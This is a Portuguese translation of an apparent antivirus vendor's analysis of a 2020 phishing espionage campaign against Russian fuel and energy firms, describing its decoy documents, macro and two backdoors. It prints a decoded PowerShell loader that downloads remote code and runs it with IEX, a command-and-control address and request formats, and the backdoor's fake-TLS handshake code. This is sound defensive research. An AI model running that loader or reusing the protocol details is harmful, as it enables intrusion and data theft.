Estamos investigando um ataque de espionagem direcionado ao complexo russo de combustível e energia

Estamos investigando um ataque de espionagem direcionado ao complexo russo de combustível e energia

A nossa experiência na investigação de incidentes de segurança informática mostra que o e-mail ainda é um dos canais mais comuns utilizados pelos atacantes para penetrar inicialmente nas infra-estruturas de rede atacadas. Uma ação descuidada com uma carta suspeita (ou não tão suspeita) torna-se um ponto de entrada para novas infecções, razão pela qual os cibercriminosos estão usando ativamente métodos de engenharia social, embora com graus variados de sucesso.

Neste post queremos falar sobre a nossa recente investigação sobre uma campanha de spam dirigida a uma série de empresas do complexo russo de combustíveis e energia. Todos os ataques seguiram o mesmo cenário usando e-mails falsos, e ninguém parecia ter se esforçado muito no conteúdo de texto desses e-mails.

Exploração

Tudo começou no final de Abril de 2020, quando os analistas do vírus Doctor Web detectaram uma campanha de spam na qual hackers enviavam uma lista telefónica actualizada a funcionários de várias empresas do complexo russo de combustíveis e energia. É claro que isso não foi uma simples demonstração de preocupação, já que o diretório não era real e os documentos .docx baixaram duas imagens de recursos remotos.

Um deles foi baixado para o computador do usuário a partir do servidor news[.]zannews[.]com. Vale ressaltar que o nome de domínio é semelhante ao domínio do centro de mídia anticorrupção do Cazaquistão - zannews[.]kz. Por outro lado, o domínio utilizado lembrava imediatamente outra campanha de 2015 conhecida como TOPNEWS, que usava um backdoor ICEFOG e tinha domínios de controle de Trojan com a substring “news” em seus nomes. Outro recurso interessante foi que, ao enviar e-mails para destinatários diferentes, as solicitações de download de uma imagem usavam parâmetros de solicitação diferentes ou nomes de imagem exclusivos.

Acreditamos que isso foi feito com o objetivo de coletar informações para identificar um destinatário “confiável”, que teria então a garantia de abrir a carta no momento certo. O protocolo SMB foi utilizado para baixar a imagem do segundo servidor, o que poderia ser feito para coletar hashes NetNTLM dos computadores dos funcionários que abriram o documento recebido.

E aqui está a própria carta com o diretório falso:

Estamos investigando um ataque de espionagem direcionado ao complexo russo de combustível e energia

Em junho deste ano, os hackers começaram a usar um novo nome de domínio, sports[.]manhajnews[.]com, para fazer upload de imagens. A análise mostrou que os subdomínios manhajnews[.]com têm sido usados ​​em correspondências de spam desde pelo menos setembro de 2019. Um dos alvos desta campanha foi uma grande universidade russa.

Além disso, em junho, os organizadores do ataque apresentaram um novo texto para suas cartas: desta vez o documento continha informações sobre o desenvolvimento da indústria. O texto da carta indicava claramente que seu autor não era falante nativo de russo ou estava deliberadamente criando tal impressão sobre si mesmo. Infelizmente, as ideias de desenvolvimento da indústria, como sempre, acabaram sendo apenas uma capa - o documento baixou novamente duas imagens, enquanto o servidor foi alterado para download[.]inklingpaper[.]com.

A próxima inovação ocorreu em julho. Na tentativa de contornar a detecção de documentos maliciosos por programas antivírus, os invasores começaram a usar documentos do Microsoft Word criptografados com senha. Ao mesmo tempo, os invasores decidiram usar uma técnica clássica de engenharia social – notificação de recompensa.

Estamos investigando um ataque de espionagem direcionado ao complexo russo de combustível e energia

O texto do recurso foi novamente redigido no mesmo estilo, o que despertou suspeitas adicionais entre o destinatário. O servidor de download da imagem também não mudou.

Observe que em todos os casos, caixas de correio eletrônicas registradas nos domínios mail[.]ru e yandex[.]ru foram utilizadas para enviar cartas.

Ataque

No início de setembro de 2020, era hora de agir. Nossos analistas de vírus registraram uma nova onda de ataques, em que os invasores voltaram a enviar cartas sob o pretexto de atualizar uma lista telefônica. Contudo, desta vez o anexo continha uma macro maliciosa.

Ao abrir o documento anexado, a macro criou dois arquivos:

  • Script VBS% APPDATA% microsoftwindowsstart menuprogramsstartupadoba.vbs, que tinha como objetivo iniciar um arquivo em lote;
  • O próprio arquivo em lote %APPDATA%configstest.bat, que foi ofuscado.

Estamos investigando um ataque de espionagem direcionado ao complexo russo de combustível e energia

A essência de seu trabalho se resume a lançar o shell Powershell com determinados parâmetros. Os parâmetros passados ​​para o shell são decodificados em comandos:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

Como segue dos comandos apresentados, o domínio do qual a carga útil é baixada é novamente disfarçado como um site de notícias. Um simples carregador, cuja única tarefa é receber o shellcode do servidor de comando e controle e executá-lo. Conseguimos identificar dois tipos de backdoors que podem ser instalados no PC da vítima.

BackDoor.Siggen2.3238

O primeiro é BackDoor.Siggen2.3238 — nossos especialistas não haviam encontrado antes, e também não houve menção a esse programa por parte de outros fornecedores de antivírus.

Este programa é um backdoor escrito em C++ e executado em sistemas operacionais Windows de 32 bits.

BackDoor.Siggen2.3238 é capaz de se comunicar com o servidor de gerenciamento usando dois protocolos: HTTP e HTTPS. A amostra testada usa o protocolo HTTPS. O seguinte User-Agent é usado nas solicitações ao servidor:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

Neste caso, todas as solicitações são fornecidas com o seguinte conjunto de parâmetros:

%s;type=%s;length=%s;realdata=%send

onde cada linha %s é correspondentemente substituída por:

  • ID do computador infectado,
  • tipo de solicitação que está sendo enviada,
  • comprimento dos dados no campo realdata,
  • dados.

Na fase de coleta de informações sobre o sistema infectado, o backdoor gera uma linha como:

lan=%s;cmpname=%s;username=%s;version=%s;

onde lan é o endereço IP do computador infectado, cmpname é o nome do computador, nome de usuário é o nome de usuário, versão é a linha 0.0.4.03.

Essas informações com o identificador sysinfo são enviadas por meio de uma solicitação POST para o servidor de controle localizado em https[:]//31.214[.]157.14/log.txt. Se em resposta BackDoor.Siggen2.3238 recebe o sinal HEART, a conexão é considerada bem-sucedida e o backdoor inicia o ciclo principal de comunicação com o servidor.

Descrição mais completa dos princípios operacionais BackDoor.Siggen2.3238 está em nosso biblioteca de vírus.

BackDoor.Whitebird.23

O segundo programa é uma modificação do backdoor BackDoor.Whitebird, já conhecido por nós desde o incidente com uma agência governamental no Cazaquistão. Esta versão foi escrita em C++ e projetada para ser executada em sistemas operacionais Windows de 32 e 64 bits.

Como a maioria dos programas deste tipo, BackDoor.Whitebird.23 projetado para estabelecer uma conexão criptografada com o servidor de controle e controle não autorizado de um computador infectado. Instalado em um sistema comprometido usando um conta-gotas BackDoor.Siggen2.3244.

A amostra que examinamos era uma biblioteca maliciosa com duas exportações:

  • Google Play
  • Teste.

No início de seu trabalho, ele descriptografa a configuração conectada ao corpo do backdoor usando um algoritmo baseado na operação XOR com byte 0x99. A configuração se parece com:


struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

Para garantir seu funcionamento constante, o backdoor altera o valor especificado no campo jornada de trabalho configurações. O campo contém 1440 bytes, que assumem os valores 0 ou 1 e representam cada minuto de cada hora do dia. Cria um thread separado para cada interface de rede que escuta a interface e procura pacotes de autorização no servidor proxy do computador infectado. Quando tal pacote é detectado, o backdoor adiciona informações sobre o servidor proxy à sua lista. Além disso, verifica a presença de um proxy via WinAPI InternetQueryOptionW.

O programa verifica os minutos e horas atuais e os compara com os dados do campo jornada de trabalho configurações. Se o valor do minuto do dia correspondente não for zero, será estabelecida uma conexão com o servidor de controle.

O estabelecimento de uma conexão com o servidor simula a criação de uma conexão usando o protocolo TLS versão 1.0 entre o cliente e o servidor. O corpo do backdoor contém dois buffers.

O primeiro buffer contém o pacote TLS 1.0 Client Hello.

Estamos investigando um ataque de espionagem direcionado ao complexo russo de combustível e energia

O segundo buffer contém pacotes TLS 1.0 Client Key Exchange com um comprimento de chave de 0x100 bytes, Change Cipher Spec, Encrypted Handshake Message.

Estamos investigando um ataque de espionagem direcionado ao complexo russo de combustível e energia

Ao enviar um pacote Client Hello, o backdoor grava 4 bytes da hora atual e 28 bytes de dados pseudo-aleatórios no campo Client Random, calculado da seguinte forma:


v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

O pacote recebido é enviado ao servidor de controle. A resposta (pacote Server Hello) verifica:

  • conformidade com o protocolo TLS versão 1.0;
  • correspondência do carimbo de data/hora (os primeiros 4 bytes do campo do pacote de dados aleatórios) especificado pelo cliente com o carimbo de data/hora especificado pelo servidor;
  • correspondência dos primeiros 4 bytes após o carimbo de data/hora no campo Dados Aleatórios do cliente e do servidor.

No caso das correspondências especificadas, o backdoor prepara um pacote Client Key Exchange. Para fazer isso, ele modifica a chave pública no pacote Client Key Exchange, bem como a criptografia IV e os dados de criptografia no pacote Encrypted Handshake Message.

O backdoor então recebe o pacote do servidor de comando e controle, verifica se a versão do protocolo TLS é 1.0 e então aceita outros 54 bytes (o corpo do pacote). Isso conclui a configuração da conexão.

Descrição mais completa dos princípios operacionais BackDoor.Whitebird.23 está em nosso biblioteca de vírus.

Conclusão e conclusões

A análise dos documentos, do malware e da infraestrutura utilizada permite-nos afirmar com segurança que o ataque foi preparado por um dos grupos chineses de APT. Considerando a funcionalidade dos backdoors instalados nos computadores das vítimas no caso de um ataque bem-sucedido, a infecção leva, no mínimo, ao roubo de informações confidenciais dos computadores das organizações atacadas.

Além disso, um cenário muito provável é a instalação de Trojans especializados em servidores locais com uma função especial. Podem ser controladores de domínio, servidores de correio, gateways de Internet, etc. Como pudemos ver no exemplo incidente no Cazaquistão, esses servidores são de particular interesse para os invasores por vários motivos.

Fonte: habr.com

Adicionar um comentário